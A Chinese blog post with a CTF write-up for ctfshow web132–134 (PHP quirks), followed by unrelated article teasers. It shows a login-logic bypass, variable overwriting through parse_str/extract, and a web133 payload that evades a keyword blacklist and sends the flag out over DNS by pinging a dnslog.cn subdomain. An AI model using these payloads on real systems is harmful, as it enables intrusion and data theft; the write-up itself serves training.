news 2026/4/30 8:57:33

ctfshow 132,133,134(php特性)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
ctfshow 132,133,134(php特性)

web132

打开指挥是个blog网站,我们用dirsearh扫描一下目录

访问/admin/index.php

查看源码

<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code']; if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } } }

&&需要两边同事都要满足,而||只需要两边任意一个满足就行了。

我们满足username="admin" 然后内层if还要求code='admin' 还要带上password 因为必须有

?code=admin&username=admin&password=

web133

源码

<?php error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }

源码中只对前六个字符作为php代码执行,,因为这个题无显然后这道题用到了数据外带。

需要用到dnslog.cn获取

?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.vlyye3.dnslog.cn -c 1

tr -cd就是只保留指定字符

-c 1就是ping1一次

截取出来的用8 4 4 4 12分开,并且手动添加- 因为这里我们只要求返回0-9和a-z的。

web134

<?php highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }

@parse_str($_SERVER['QUERY_STRING'])这一行

$_SERVER['QUERY_STRING']的意思就是读取?后的。

parse_str,将字符串解析成多个变量

例如?a=123&b=456

就变成$a=123 $b=456

而传入的里面又不能只有key1,key2

?_POST[key1]=36d&_POST[key2]=36d

让他给咱前面添加一个。然后看源代码拉到底部。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/23 17:57:22

高效自动化清理临时文件方案

一、 引言任何持续运行的系统或应用程序都会产生大量的临时文件。这些文件服务于特定的短期目的&#xff0c;例如加速数据访问&#xff08;缓存&#xff09;、记录运行状态&#xff08;日志&#xff09;、暂存中间处理结果等。尽管它们对功能实现至关重要&#xff0c;但若缺乏有…

作者头像 李华
网站建设 2026/4/26 19:52:06

法国戛纳国际创意节Sonic案例入围技术类别决赛

轻量级数字人口型同步模型Sonic技术解析&#xff1a;从一张图到会说话的AI形象 在短视频日均产量突破千万条的今天&#xff0c;内容创作者面临的最大矛盾之一&#xff0c;是高质量与高效率之间的不可兼得。尤其在虚拟主播、在线教育、智能客服等场景中&#xff0c;如何快速生成…

作者头像 李华
网站建设 2026/4/27 5:06:45

RabbitMQ消息队列调度Sonic大批量生成任务

RabbitMQ消息队列调度Sonic大批量生成任务 在数字人内容爆发式增长的今天&#xff0c;一个现实摆在开发者面前&#xff1a;如何用有限的算力资源&#xff0c;稳定、高效地处理成千上万条“一张图一段音频会说话的虚拟人”这样的生成请求&#xff1f;传统方式下&#xff0c;用户…

作者头像 李华
网站建设 2026/4/30 17:39:33

图解说明WS2812B驱动方法时序要求与照明优化

深入WS2812B&#xff1a;从时序陷阱到稳定驱动的实战指南你有没有遇到过这样的情况&#xff1f;明明代码写得没问题&#xff0c;颜色也设对了&#xff0c;可灯带一亮起来——首灯乱码、尾灯变暗、动画卡顿跳帧。更离谱的是&#xff0c;换一块开发板&#xff0c;同样的程序居然又…

作者头像 李华
网站建设 2026/4/18 11:08:14

提升效率必备!多款强大的剪贴板管理工具分享(含下载)

复制、粘贴&#xff0c;再复制、再粘贴……这些看似简单的操作&#xff0c;却是我们日常工作中最常重复的动作之一。然而&#xff0c;恰恰是这些高频操作&#xff0c;往往藏着提升效率的关键。 虽然 Windows 自带的剪贴板用起来顺手&#xff0c;但功能实在过于基础&#xff0c…

作者头像 李华
网站建设 2026/4/28 23:07:32

JFlash下载调试实战案例:STM32芯片连接操作指南

JFlash下载实战&#xff1a;从零搞定STM32烧录&#xff0c;避开90%工程师踩过的坑你有没有遇到过这种情况&#xff1f;新打的板子焊好了&#xff0c;兴冲冲插上J-Link想用JFlash下载程序&#xff0c;结果软件连不上芯片&#xff1b;或者好不容易连接上了&#xff0c;一编程就失…

作者头像 李华